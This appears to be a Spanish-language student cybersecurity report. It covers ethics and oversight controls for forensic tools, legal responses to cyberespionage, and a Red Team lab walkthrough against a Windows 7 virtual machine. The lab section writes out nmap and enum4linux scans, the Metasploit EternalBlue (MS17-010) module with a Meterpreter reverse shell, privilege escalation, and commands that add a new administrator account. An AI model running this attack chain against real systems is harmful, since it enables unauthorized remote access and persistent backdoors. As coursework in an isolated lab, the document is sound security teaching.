NTC-ISO/IEC 27001:2013. Tecnologia de la informacion — Técnicas de seguridad — Sistemas
de gestion de seguridad de la informacidon — Requisitos. Bogota: Instituto Colombiano de Normas
Técnicas y Certificacion. International Organization for Standardization (ISO). (2013). ISO/IEC
27001:2013 — Information technology — Security techniques — Information security management
systems — Requirements. Ginebra, Suiza.

Ademas, se deben implementar politicas de ética corporativa sélidas y capacitaciones
continuas que fortalezcan la cultura del respeto a la privacidad del cliente. Las auditorias deben
regirse por principios internacionales como los del Cédigo de Etica del (ISC), el cual establece
que los profesionales deben “proteger la sociedad, el bien comun, la confianza pablicay la

infraestructura” (International Information System Security Certification Consortium, 2020).


https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646
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5. ¢ Qué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de analisis

forense con fines no autorizados o éticamente cuestionables?

Para evitar usos indebidos de herramientas forenses, las empresas de ciberseguridad
deben establecer un marco robusto de gobierno corporativo. Entre los mecanismos clave se

encuentran:

1. Auditorias internas continuas y externas independientes, que verifiquen los logs de
acceso y actividad de los analistas de seguridad.

2. Separacion de funciones (SoD), donde el acceso a informacion critica no recaiga en una
sola persona, sino que exista una supervision cruzada (Bishop, 2019).

3. Monitoreo en tiempo real mediante SIEM (Security Information and Event
Management), lo que permite detectar comportamientos anomalos.

4. Protocolos de autorizacion escalonada, donde los analisis sensibles requieran

aprobacion de mandos superiores.

Estos mecanismos se alinean con la norma ISO/IEC 27001, que promueve controles

estrictos de seguridad en el manejo de informacion confidencial (ISO, 2022).

Tabla b

Mecanismos de Supervision y Control para el Uso Etico de Herramientas Forenses en Empresas

de Ciberseguridad

Marco
Categoria Medida / Descripcion / Normativo /
g Principio Aplicacion Estandar

Aplicable
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Controles
de Acceso y
Autorizacion

Registroy
Auditoria
Detallada

Acceso segun

roles y necesidad

Autenticacion
multifactorial (MFA)

Listas de
control de acceso
(ACLs)

Registro

completo de actividad

Centralizacion y

seguridad de logs

Auditoria
periddica de logs

Limitar el acceso
a las herramientas de
analisis forense a los
empleados que realmente
lo necesiten, definiendo
permisos especificos
segun el rol de cada
personay el tipo de
analisis requerido.

Implementar un
sistema de autenticacion
multifactorial (MFA)
para acceder a las
herramientas y sistemas
donde se almacenan los
datos, afladiendo una
capa extra de seguridad.

Configurar listas
de control de acceso
(ACLs) para garantizar
que solo los usuarios
autorizados puedan
acceder a los sistemas y
datos relacionados con el
analisis forense.

Mantener
registros detallados de
todas las actividades
realizadas con las
herramientas forenses,
como el acceso, los datos
analizados, el usuario, el
momento de la actividad
y las modificaciones
realizadas.

Los registros
deben almacenarse en un
sistema centralizado,
seguro e inalterable,
protegido contra accesos
no autorizados y
alteraciones.

Realizar
auditorias regulares sobre
los registros de actividad
para detectar actividades

ISO/IEC
27001; Ley 1581
de 2012

Mejores
practicas
internacionales

ISO/IEC
27001

ISO/IEC
27001; Ley 1273
de 2009

ISO/IEC
27001

ISO/IEC
27001
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Politicas y
Procedimientos
Claros

Supervisién
Técnicay
Alertamiento

Politica de uso
aceptable

Procedimientos
operativos estandar
(POEs)

Protocolos de
manejo de evidencia
digital

Aprobacién
para analisis sensibles

Sistemas de
deteccién de anomalias

Monitoreo en
tiempo real

sospechosas, accesos no
autorizados o
comportamientos
inusuales.

Definir una
politica clara sobre el uso
de las herramientas
forenses, especificando
los usos permitidos y
prohibidos y las
sanciones por mal uso.

Establecer
procedimientos
detallados para realizar
andlisis forenses,
incluyendo los pasos a
seguir, la documentacién
requerida y las
aprobaciones necesarias.

Implementar
protocolos rigurosos para
garantizar la integridad y
cadena de custodia de la
evidencia digital durante
todo el proceso de
adquisicién, analisis y
disposicion.

Para analisis de
informacién muy
sensible, se debe requerir
la aprobacion explicita de
la gerencia o un comité
encargado.

Implementar
sistemas de monitoreo
que alerten sobre
actividades inusuales en
el uso de las herramientas
forenses, como patrones
de uso anomalos.

En algunos casos,
se puede considerar el
monitoreo en tiempo real
del uso de herramientas
dentro de los limites
legales y de privacidad.

Ley 1581

de 2012;
ISO/IEC 27001

27001

27001

Penal

ISO/IEC

ISO/IEC

Codigo

Colombiano

27001

27001

ISO/IEC

ISO/IEC
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Controles
Humanos y Eticos

Integracion con
sistemas SIEM

Seleccion
rigurosa de personal

Capacitacion
continua

Caodigo de
conducta y ética
profesional

Acuerdos de
confidencialidad y no
divulgacion

Evaluaciones de
desempefio y revisiones
éticas

Integrar los
registros de las
herramientas forenses con
un sistema de gestion de
eventos e informacion de
seguridad (SIEM) para
mejorar la correlacion y
anélisis de eventos.

Realizar
exhaustivas
verificaciones de
antecedentes y
referencias para los
empleados con acceso a
herramientas forenses,
asegurando que son de
confianza.

Proveer
entrenamiento regular
sobre el uso ético y
responsable de las
herramientas forenses, asi
como las politicas de
seguridad y las
implicaciones legales del
mal uso.

Implementar y
reforzar un codigo de
conducta que promueva
la integridad, la
confidencialidad y el
respeto por la privacidad
de la informacion.

Requerir que
todos los empleados
firmen acuerdos de
confidencialidad que
aborden especificamente
el manejo de informacion
sensible y el uso de
herramientas forenses.

Realizar
evaluaciones periodicas
de desemperfio,
incluyendo la conducta
ética, y revisar

ISO/IEC
27001; CISA

Cadigo
Penal
Colombiano;
Ley 1581 de
2012

ISO/IEC
27001

Ley 1581
de 2012

Ley 1273
de 2009; Ley
842 de 2003
(COPNIA)

Cadigo
Penal
Colombiano
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Canales de
denuncia
confidenciales

Auditorias L,
Auditorias
Internasy o
técnicas
Externas

Auditorias de
cumplimiento

Auditorias
éticas

regularmente el uso de las
herramientas para
detectar posibles malas
précticas.

Establecer canales
seguros y confidenciales
para que los empleados
puedan reportar posibles
mal usos de las
herramientas sin temor a
represalias.

Realizar
auditorias técnicas
periddicas para
comprobar la correcta
configuracion y el
cumplimiento de los
controles de acceso, el
registro de actividad y la
seguridad de los sistemas
utilizados.

Llevar a cabo
auditorias de
cumplimiento para
verificar que las politicas
y procedimientos
establecidos estan siendo
seguidos de manera
adecuada.

Considerar la
realizacion de auditorias
éticas para evaluar la
cultura de la empresa y la
comprension de los
principios éticos en el uso
de las herramientas
forenses.

Ley 1581

de 2012

27001

27001

27001

ISO/IEC

ISO/IEC

ISO/IEC

Nota: La implementacién de mecanismos robustos de supervision y control es esencial para
garantizar el uso adecuado y ético de las herramientas de andlisis forense en las empresas de
ciberseguridad, minimizando el riesgo de accesos no autorizados y el uso indebido de la
informacion sensible. Las medidas descritas estan alineadas con los estandares internacionales y
las normativas colombianas vigentes en materia de proteccién de datos, seguridad de la
informacion y ética profesional. Fuentes: Congreso de Colombia. (2009). Ley 1273 de 2009. Por
medio de la cual se crea el tipo penal de proteccion de la informacion y de los datos.

https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492.

Congreso

de



45

Colombia. (2013). Decreto 1377 de 2013. Reglamenta parcialmente la Ley 1581 de 2012 sobre
proteccion de datos personales.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646. ICONTEC.
(2013). NTC-ISO/IEC 27001:2013. Tecnologia de la informacién — Técnicas de seguridad —
Sistemas de gestion de seguridad de la informacion — Requisitos. Bogota: Instituto Colombiano
de Normas Técnicas y Certificacion. International Organization for Standardization (ISO). (2013).
ISO/IEC 27001:2013 — Information technology — Security techniques — Information security
management systems — Requirements. Ginebra, Suiza.

6. ¢ Cémo deberian responder los gobiernos y organizaciones cuando descubren que una
empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? ¢Cuales serian

las medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente?

Ante un acto comprobado de ciberespionaje, el gobierno u organizacion afectada debe

actuar con firmeza juridica y politica. Las medidas adecuadas incluyen:

Rescision inmediata del contrato y apertura de procesos penales, conforme a las leyes
locales e internacionales sobre delitos informaticos (Ley 1273 de 2009 en Colombia, por
ejemplo).

e Divulgacion transparente a las autoridades competentes y, si aplica, al publico, para
minimizar el dafio reputacional y demostrar compromiso con la legalidad (Tanczer et al.,
2018).

e Reevaluacion de politicas de contrataciéon, incluyendo clausulas de auditoria ética y
penalizaciones ante incumplimientos contractuales.

e Restauracion de confianza mediante camparfias de ciberhigiene, fortalecimiento de la

infraestructura y seleccion de nuevos proveedores con certificaciones reconocidas como

ISO 27001 o SOC 2.


https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646
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Ademas, deberian establecerse marcos de cooperacion internacional que faciliten

sanciones ejemplares y eviten la impunidad, promoviendo estandares éticos y legales comunes

en la industria de ciberseguridad.

Tabla 6

Mecanismos de Supervision y Control para el Uso Etico de Herramientas Forenses en Empresas

de Ciberseguridad

Marco
Categoria A_cciones / D_escr_ipcién / Normativo /
Medidas Aplicacion Estandar
Aplicable
Aplicar la
clausula de resolucion
anticipada en caso de
Acciones Rescision |ncumpllm|_ento grave, Caodigo
ademas de imponer . S
Legalesy del contrato y clausulas penales o Civil Colombiano;
Contractuales sancion econémica Ley 1273 de 2009
demandar por
perjuicios si estan
estipuladas en el
contrato.
Procesar a los
responsables por
Denuncia delitos como acceso Ley 1273

penal formal ante la
Fiscalia General de
la Nacion

Colaboracié
n internacional

abusivo, interceptacion
y violacion de datos,
segun la Ley 1273 de
2009 y el Cdadigo Penal
Colombiano.

En caso de que
los hechos afecten a
otros Estados (por
ejemplo, si la
informacion fue
vendida a empresas
extranjeras), activar
mecanismos de
cooperacion judicial
internacional, como los
de INTERPOL.

de 2009; Codigo
Penal Colombiano

INTERPOL
; Ley 1273 de 2009
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Medidas para
Restaurar la
Confianza

Fortalecimient
o0 Normativo y
Politicas Publicas

Auditoria
independiente
postincidente

Informe
publico controlado

Revision del
marco contractual
de servicios de
ciberseguridad

Certificacion
y vigilancia de
empresas
contratistas

Actualizacio
n del marco legal
colombiano

Contratar una
firma neutral y
certificada para revisar
los accesos, detectar
vulnerabilidades y
establecer el alcance
del dafo.

Comunicar de
forma oficial y
responsable los hechos
a la ciudadania y al
Congreso, sin divulgar
detalles sensibles,
como parte de una
politica de
transparencia
institucional.

Modificar los
contratos para incluir
criterios éticos,
clausulas
anticorrupcion,
responsabilidad civil y
penal, y la
obligatoriedad de
implementacion de
estandares como
ISO/IEC 27001 y
27701.

Crear un
registro nacional de
empresas de
ciberseguridad
evaluadas por el
Estado, similar al
Registro Unico
Empresarial (RUES),
para asegurar la
fiabilidad de las
contratistas.

Urge la
creacion de una
regulacion especifica
para empresas privadas
de ciberseguridad en
Colombia, incluyendo

ISO/IEC
27001; Ley 1581
de 2012

Ley 1581
de 2012

ISO/IEC
27001; Ley 1581
de 2012

Ley 1581
de 2012; RUES

Ley 1273
de 2009; Ley 1581
de 2012
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la responsabilidad
empresarial en el
manejo de datos
clasificados,
licenciamiento
obligatorio para
auditores forenses y
regulacion de la
exportacion/importacio
n de software
avanzado.

Establecer una
agencia similar al
modelo de Espafia

Creacion de
una Agencia EICI\IIg,L?E;;EEeLrJ\%éar INCIBE;
Nacional de para sup CISA
. ) el sector, emitir alertas
Ciberseguridad ! .
de seguridad y realizar
investigaciones sobre
fraudes tecnoldgicos.
Prohibir que
incluir empresas sancionadas
Cooperacion por ciberespionaje Ley 1581
. : empresas .
Internacional y Listas . . puedan ser contratadas  de 2012; normas
sancionadas en listas ) '
Negras nuevamente por internacionales
negras : A
entidades publicas o
privadas en Colombia.
Colombia puede
fortalecer su
participacion en el
Grupo de Accién de
Participacion  Ciberseguridad de la
en alianzas OEA para compartir OEA
regionales alertas de riesgo y
establecer estandares
minimos en

contrataciones
internacionales.

Nota: Las acciones y medidas descritas son fundamentales para garantizar el cumplimiento de las
normativas legales y la restauracion de la confianza en el sector de ciberseguridad, respondiendo
de manera efectiva a incidentes de ciberseguridad y fortaleciendo la seguridad digital en el pais.
Fuentes: Congreso de Colombia. (2009). Ley 1273 de 2009. Por medio de la cual se crea el tipo
penal de proteccion de la informacion y de los datos.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492  Congreso  de
Colombia. (2013). Decreto 1377 de 2013. Reglamenta parcialmente la Ley 1581 de 2012 sobre



https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492
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proteccion de datos personales
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646ICONTEC. (2013).
NTC-ISO/IEC 27001:2013. Tecnologia de la informacién — Técnicas de seguridad — Sistemas
de gestion de seguridad de la informacion — Requisitos. Bogota: Instituto Colombiano de Normas
Técnicas y Certificacion.International Organization for Standardization (1SO). (2013). ISO/IEC
27001:2013 — Information technology — Security techniques — Information security management
systems — Requirements. Ginebra, Suiza.



https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646
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Etapa 3 — Componente practico — Practicas simuladas

Herramientas de software utilizadas y comandos implementados

Como parte de la preparacion del entorno de pruebas, se instalaron dos sistemas operativos
proporcionados por el tutor: Kali Linux y Windows. Ambos fueron configurados dentro de una
red virtual interna con el objetivo de permitir la comunicacion directa entre las maquinas,
condicion fundamental para llevar a cabo tareas de analisis y evaluacion de seguridad. La
configuracion de red asign6 de forma manual la direccion IP 10.52.40.31 al sistema Kali Linux y
la 10.52.40.30 al sistema Windows, siguiendo un criterio basado en el nimero de identificacion
personal del estudiante.

Para verificar la correcta asignacion de las direcciones IP, en el sistema Kali Linux se
accedié a la terminal, se obtuvieron privilegios de administrador mediante el comando sudo su, y
se utilizé el comando ip address para consultar los parametros de red. En el sistema Windows,
por su parte, se abrio el simbolo del sistema (CMD) y se ejecut6 el comando ipconfig, el cual
mostré los detalles de la configuracion de red correspondiente.

Posteriormente, antes de iniciar cualquier proceso de reconocimiento o analisis, se validé la
conectividad entre las maquinas virtuales. La verificacidn consistié en ejecutar el comando ping
desde la maquina atacante (Kali Linux) hacia la maquina objetivo (Windows), enviando paquetes
ICMP tipo echo request a la direccion IP 10.52.40.30. La recepcion de respuestas por parte del

sistema destino confirm6 que ambas maquinas estaban correctamente interconectadas dentro de
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la red virtual, lo cual permitio continuar con el desarrollo de las pruebas de seguridad

planificadas.

Figura 8

Verificacion de la conexién entre las dos maquina virtuales WIN7/KALI.

BONS MO E @0 crrosmean

Nota: Se envia un ping a la ip:10.52.40.30, de manera satisfactoria desde Kali a WIN7 y de la
misma manera se envia un ping a la ip de KALI / IP: 10.52.40.31. Fuentes: Autor (Joya, 2025).
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Datos e informacién usados en la identificacion del fallo

Tabla 7

Fases usadas para el reconocimiento activo del Red Team.

Fase Herramien Comando utilizado Resultado
ta esperado
Detecta
Reconocimien nmap nmap -sS -sV [IP_VM_Win7] puertos abiertos,
to versiones de
servicios.
nma Informaci
Enumeracion . P, enumdlinux [IP_VM_Win7] 6n sobre usuarios,
enum4linux
shares, etc.
Use Explota
Ic}gnﬂﬂcamon Metasploit  exploit/windows/smb/ms17_010_eternal vulnerabilidad en
y explotacién blue SMB para obtener
shell remota.
net user NombreApellido /add Crea
Post- meterpreter, local dmini i0 admi
Explotacién emd net localgroup Administrators usuario admin
NombreApellido /add como PoC.
Sugerenci
Escalada de meterpreter run a de exploits
privilegios script post/multi/recon/local_exploit_suggester  locales para escalar
privilegios.

Nota: Esta tabla contiene la descripcion de la clara y explicativa de las herramientas de usadas para la
gjecucidn y desarrollo del anexo 4 escenario 3 enfocado a Red Team mediante el uso de reconocimiento
activo mediante la herramienta Nmap y las fases a implementar Fuentes : elaboracion propia del autor
(Joya, 2025).

Reconocimiento

Luego de analizar el Anexo 4 correspondiente al Escenario 3, se procedi6 con la fase de
reconocimiento, etapa fundamental en cualquier proceso de evaluacion de seguridad, ya que
permite identificar los servicios disponibles y los puertos abiertos en el sistema objetivo. Para
esta tarea se utilizo la herramienta Nmap, ampliamente reconocida por su eficacia en tareas de
escaneo de red. La ejecucion del escaneo incluyo las opciones -sS, -sV y -0, las cuales permiten

realizar un escaneo SYN (también conocido como escaneo furtivo o "half-open™), identificar
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versiones de los servicios en ejecucion y estimar el sistema operativo del host analizado,

respectivamente. EI comando especifico utilizado fue:

nmap -sS -sV -0 10.52.40.30

Figura 9

Ejecucion del comando Nmap

7 kali-linux-2024.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Di yuda

S mEP o]

g File Actions Edit View Help

]
File Edit Search View Docum
& B & x B

- < 2 1jse exploit/windovs/smb/ms1]
File Syste T 2 =

2 set RHOSTS 10.52.40.30
q 3 set PAYLOAD windows/x64/met|
ds (workgroup: WORKGROUP) 4 set LHOST 10.52.40.31
5 set LPORT 4444
6 run

BOowGSNOTE G0 cr orwecn

Nota: Durante la fase de reconocimiento, se llevé a cabo la identificacién detallada de los servicios activos
y los puertos habilitados en el sistema objetivo. Para esta tarea se utilizé la herramienta Nmap, en su versién
7.94SVN, reconocida por su precision y versatilidad en el escaneo de redes. Fuentes: Autor (Joya, 2025).

El escaneo realizado reveld informacion técnica significativa. Entre los puertos abiertos
detectados se encuentran el 135/tcp (msrpc), 139/tcp (netbios-ssn) y 445/tcp (microsoft-ds),
todos ellos cominmente asociados a servicios del sistema operativo Windows. Asimismo, se

identificaron servicios activos como Microsoft SMB y HTTPAPI. A partir del analisis de las
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firmas TCP/IP recolectadas, se estimé que el sistema operativo de la maquina objetivo

corresponde a Windows 7 o Windows Server 2008 R2.

Un aspecto especialmente relevante fue la deteccion del puerto 445 abierto, el cual esta
asociado al protocolo SMB. Este hallazgo sugiere la existencia de una superficie de ataque
potencial, dado que este protocolo ha sido histéricamente vulnerable a maltiples exploits

conocidos.

La informacidn obtenida indica que el sistema comprometido corre Windows 7 y que
contiene al menos una aplicacion vulnerable que podria ser explotada para obtener acceso no

autorizado.

En términos de riesgo, se identificd un posible vector de ataque que permitiria la
ejecucién remota de comandos (shell) o incluso la escalacion de privilegios. Adicionalmente,
segun el analisis forense, se detectd la probable creacion de una cuenta de usuario con privilegios
de administrador sin la debida autorizacion, lo cual refuerza la hipétesis de una posible intrusion

0 explotacion previa del sistema.

Enumeracion

En el contexto del reconocimiento activo, se empled la herramienta Enum4linux para
llevar a cabo la enumeracion de un sistema operativo Windows a través del protocolo SMB, sin
requerir credenciales validas. Esta utilidad, ampliamente utilizada en auditorias de seguridad,
permite extraer informacion relevante como usuarios, grupos, recursos compartidos y

configuraciones de red asociadas al servicio SMB.

El comando ejecutado fue el siguiente:
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enum4linux -a 10.52.40.30

Figura 10

Enumeracion del sistema mediante la herramienta Enum4linux

?7 kali-linux-2024.4-virtualbox-amdé4 [Corriendo] - Oracle VM VirtualBox O X

Archivo Maquina Ver Entrada Dis|
S emmP o] 2 3 4| B E : ns | @ e

= kali@kali: ~

File Actions Edit View Help

4 3@
Starting enumélinux 1 { http://labs.portcullis.co.uk/application/enumélinux/ ) onm Sum May & 11:13:56 2@25

Known ername .. administrator, guest, krbtgt, domain admins, root, bin, none

MaC

do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS DENIED

B O F 0 OrT E 6 K crrperecHA
Nota: Ejecucion de la fase de enumeracion. Fuentes: Autor (Joya, 2025), Cisco Talos. (2017, mayo 17).
MS17-010: EternalBlue SMB Remote Windows Kernel Pool Corruption Exploit Analysis.
https://www.talosintelligence.com/blog/2017/05/eternalblue.html ,Trustwave. (s.f.). Enum4linux — SMB
enumeration tool for Linux. GitHub. https://github.com/CiscoCXSecurity/enum4linux ,Microsoft. (2017,
marzo 14). Microsoft Security Bulletin MS17-010 — Critical. https://docs.microsoft.com/en-us/security-
updates/securitybulletins/2017/ms17-010 .



https://www.talosintelligence.com/blog/2017/05/eternalblue.html
https://github.com/CiscoCXSecurity/enum4linux
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
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El modificador -a instruye al programa para ejecutar todas las pruebas disponibles, lo cual
resulta en una recoleccion integral de datos relacionados con los servicios SMB y NetBIOS del

host objetivo.

Como resultado del analisis, se obtuvo la siguiente informacion:

e Nombre del equipo: PC202006
e Grupo de trabajo: WORKGROUP

e Servicios detectados: NetBIOS y SMB operativos

La evidencia recogida indica que el sistema objetivo mantiene habilitado el protocolo
SMBUV1, una version obsoleta y vulnerable. Esta configuracién respalda la hipétesis de
exposicion a la vulnerabilidad MS17-010, identificada por Microsoft en 2017 y frecuentemente
explotada mediante el vector conocido como EternalBlue. La presencia de esta debilidad

representa una amenaza significativa a la seguridad del sistema en cuestion.

Identificacion vy explotacion

Durante las fases previas del anélisis de seguridad, se recolecté un conjunto de datos que
permitié identificar una posible debilidad critica en el sistema evaluado. En particular, la
deteccion del puerto 445 abierto, el uso del sistema operativo Windows 7 y la presencia activa
del protocolo SMBV1 sin actualizaciones de seguridad aplicadas, orientaron la atencién hacia
una vulnerabilidad conocida en el entorno de Microsoft. Estas condiciones coincidian con las
caracteristicas de la vulnerabilidad MS17-010, comunmente referida como EternalBlue, la cual

ha sido ampliamente documentada en la literatura de ciberseguridad.
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De acuerdo con el repositorio de vulnerabilidades CVE (Common Vulnerabilities and
Exposures), esta falla especifica, registrada bajo el identificador CVE-2017-0144, permite la
ejecucién remota de codigo malicioso sin necesidad de autenticacion, aprovechando un error en
el manejo de paquetes del protocolo SMB version 1 (cve.org, 2017). Esta vulnerabilidad fue
particularmente explotada en ataques a gran escala como WannaCry y NotPetya, lo que

demuestra su criticidad.

Con el objetivo de verificar la exposicion del sistema a dicha amenaza, se utilizo el
framework Metasploit, herramienta estandar para pruebas de penetracion. El proceso incluyo los
siguientes pasos técnicos: primero, se accedi6 al entorno de Metasploit mediante el comando
msfconsole. Luego, se localiz6 el modulo correspondiente mediante la instruccion search
ms17_010 y se seleccion6 el modulo exploit/windows/smb/ms17_010_eternalblue.
Posteriormente, se definieron los parametros del ataque: la direccién IP del equipo victima
(RHOSTYS), la del atacante (LHOST) y el tipo de carga util a utilizar, que en este caso fue una

shell inversa basada en Meterpreter.

Una vez configurados todos los valores, el ataque fue ejecutado con el comando run. El
resultado fue positivo: se establecio una sesion remota activa con el sistema objetivo a través de
Meterpreter, lo cual confirmé tanto la vulnerabilidad del entorno como la efectividad del exploit

implementado.
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Figura 11

Uso de la herramienta Metasploit

7 kali-linux-2024.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda
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kali@kali: ~
File Actions Edit View Help

Metasploit tip: Metasploit can be configured at startup, see msfconsole

FileSyste) —help to learn more

O)F SO T &K crrooerecha

Nota: Ejecucion de la fase de explotacion. Fuentes: Autor (Joya, 2025).



Figura 12

Ejecucion del comando serch_ms17

7 kali-linux-20244-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox

Archivo Maéquina Ver Entrada Dispositivos Ayuda
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kali@kali: ~
File Actions Edit View Help
> search ms17_010
g Modules

#  Name Disclosure Date Rank
Check Description

exploit/windo smb/mS17_010 eternalblue 2017-03-14 averag
MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
_ target: Automatic Target . o
target: Windows 7
target: Windows Embedded Standard 7
target: Windows Server 2008 R2
target: Windows
_ target: Windows 8.1
target: Windows Server 2012
_ target: Windows 1@ Pro
target: Windows 10 Enterprise Evaluation
iO expioit/windows/5mb/msl7_010_psexec 2017-03-14 normal
Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote W
indows Code Execution
11 _ target: Automatic
) target: PowerShell
_ target: Native upload
target: MOF upload
AKA: ETERNALSYNERGY
) AKA: ETERNALROMANCE
) AKA: ETERNALCHAMPI

AKA: ETERNALBLUE

auxiliary/admin/smb/ms17_@10@ command 2017-03-14 normal
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote W

Nota: Ejecucion de la fase de identificacion. Fuentes: Autor (Joya, 2025).
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Figura 13

Explotar la vulnerabilidad y obtener acceso remoto
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File Syste
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Metasploit Documentation: https://docs.metasploit.com/

> msfconsole
msfconsole cannot be run inside msfconsole
use a liary/ nner/smb/smb_ms17_010
auxiliary( ) > set RHOSTS 10.52.40.30
S = 10.52.40.30
iliary( ) > run

[+] 10.52.40.30:445 - Host is likely VULNERABLE to MS17-010! - Windows
7 Professional 7601 Service Pack 1 x64 (64-bit)

10.52.40.30:445 - Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 liary( N |
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File Actions Edit View Help

WARNING: No targets were specified
Nmap done: @ IP addresses (0@ hostdg

445 10.52.40.30
Starting Nmap 7.94SVN ( https://n
Nmap scan report for 10 .40,
Host is up (0.00038s latency).

PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsd
WORKGROUP )

MAC Address:

Service Inf

Service detection performed. Pleag
map.org/submit/ .
Nmap done: 1 IP address (1 host u

Vi T & WTT ¥ @ B crrooerecha

Nota: Mediante Meterpreter 7 se efectla la explotaciéon de la vulnerabilidad. Fuentes:

Autor (Joya, 2025).
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Figura 14

Ejecucion exploit MS17-010 (EternalBlue)

7 kali-linux-2024.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox O X

Archivo Mdquina Ver Entrada D itivos  Ayuda
O 4 A 1943 | @ ©

Shell No. 1
Help

LOOPBACK, UP, LOW!
n 10¢

Home

cent to SMBv2 buffer.

DO x

1 use exploit/windows/s
2 set RHOSTS 10.52.40.34
3 set PAYLOAD windows/x
4 set LHOST 10.52.40.31

B8O E#00O0E @B crrooereca
Nota: Ejecucién exitosa del exploit MS17-010 (EternalBlue). Se establece una sesion activa de
Meterpreter sobre el sistema Windows 7 objetivo, permitiendo la ejecucion remota de comandos
y el inicio de tareas de post-explotacion. Fuentes: Autor (Joya, 2025).
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Post-explotacion

Una vez establecida la sesion remota mediante Meterpreter, se procedio a ejecutar una
serie de comandos orientados a la escalada de privilegios y a la creacion de un usuario con
permisos administrativos como prueba de concepto (Proof of Concept, PoC). El proceso inicid
con el comando getuid, utilizado para identificar el usuario actual bajo el cual se estan
ejecutando las instrucciones en el sistema comprometido. Este paso permite verificar si la sesion
se obtuvo con privilegios elevados, lo cual es comin en el contexto de la vulnerabilidad MS17-
010, donde usualmente se adquiere acceso con nivel SYSTEM, el privilegio mas alto en sistemas

Windows.

Posteriormente, se ejecutd el comando getsystem, que intenta escalar privilegios de forma
automatica para alcanzar dicho nivel. Finalmente, mediante el comando shell, se accedid
directamente a una interfaz de linea de comandos del sistema objetivo, desde la cual es posible
ejecutar instrucciones arbitrarias, gestionar usuarios, servicios, y realizar otras acciones tipicas de

la fase de post-explotacion.

Estas acciones permiten confirmar no solo la explotacion exitosa de la vulnerabilidad,
sino también la capacidad de manipular el sistema comprometido con privilegios
administrativos, lo cual representa un riesgo critico de seguridad si no se aplican los parches

correspondientes.
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Figura 15

Ejecucion exploit MS17-010 (EternalBlue)

™ Kali-linux-2024.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox
Archive Magquina Ver Entrada s Ayuda
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acent to SMBv2 buffer.
Lly (exCeeeeeeD)!

19:43:06 -0400

C:\Windows\ 323 [+ I T i x

1 use exploit/windows/si
2 set RHOSTS 10.52.40.3(
3 set PAYLOAD windows/x{
4 set LHOST 10.52.40.31

BOK¥T S NOTE @ crreoRrecia

Nota: Explotacion exitosa de la vulnerabilidad MS17-010 (EternalBlue) y ejecucion de comandos
de post-explotacién. Se observa la apertura de una sesion Meterpreter con privilegios elevados,
seguida de la transicion a una shell del sistema donde se crea un nuevo usuario con privilegios de
administrador ("LuisZambrano™). EI comando se ejecuta correctamente, confirmando el control
total del sistema remoto. Fuentes: Autor (Joya, 2025).

Finalmente, se procedid a verificar la creacion exitosa del usuario en el sistema Windows
comprometido. Esta validacion permitio confirmar que el laboratorio se ejecutd correctamente,

desde la deteccion de la vulnerabilidad hasta la explotacion y post-explotacion, evidenciando el

control total sobre el sistema objetivo y la efectividad del procedimiento realizado.
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Figura 16

Verificacion de la creacién de usuario creado desde la consola de Win7
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Fuentes: Autor (Joya, 2025)
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Figura 17

Verificacion de la creacion de usuario creado desde el inicio de Win7-SE2020-X64

¥7 Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda
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Fuentes: Autor (Joya, 2025)
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Analisis del Impacto del Ataque mediante la Vulnerabilidad MS17-010 en Sistemas
Windows

La presente investigacion analiza las consecuencias de un ataque dirigido a sistemas operativos
Windows, especificamente Windows 7, mediante la explotacion de la vulnerabilidad critica identificada
como MS17-010, también conocida como EternalBlue. Esta debilidad, presente en implementaciones
obsoletas del protocolo SMBvV1, permite a actores maliciosos ejecutar cadigo de forma remota sin

necesidad de autenticacién previa.

Impacto Especifico de la Explotacion

A través del envio de paquetes manipulados al puerto TCP 445, el atacante puede establecer una
conexién con la maquina objetivo, sin requerir credenciales validas. Este acceso no autorizado se facilita

por la exposicion del servicio SMBv1, que responde de manera vulnerable ante solicitudes maliciosas.

Ejecucidn de codigo con privilegios elevados

Una vez completada la explotacién, se logra la ejecucion remota de codigo con privilegios de
nivel SYSTEM. Este nivel de acceso equivale a un control completo sobre el equipo comprometido,

permitiendo al atacante ejecutar cualquier tipo de operacion.

Implementacion de persistencia mediante puertas traseras
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Utilizando un payload como Meterpreter, se establece una sesion inversa (reverse shell) que
permite al atacante mantener acceso oculto y continuo a la maquina afectada, aun después de reinicios o

desconexiones temporales.

Escalamiento de privilegios y creacion de usuarios con acceso administrativo

Desde la sesion remota establecida, el atacante puede crear cuentas locales con privilegios
elevados, como se evidencié en la creacion del usuario "LuisZambrano". Esta accion garantiza un acceso

persistente al sistema sin necesidad de repetir la explotacion inicial.

Figura 18

Diagrama del ataque

Fuentes: Autor (Joya, 2025)
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Etapa 4 — Contencion de ataques informaticos

En un contexto donde los ataques informaticos avanzan en sofisticacion y frecuencia, la
funcidn del equipo Blue Team se vuelve esencial en la defensa activa de los sistemas
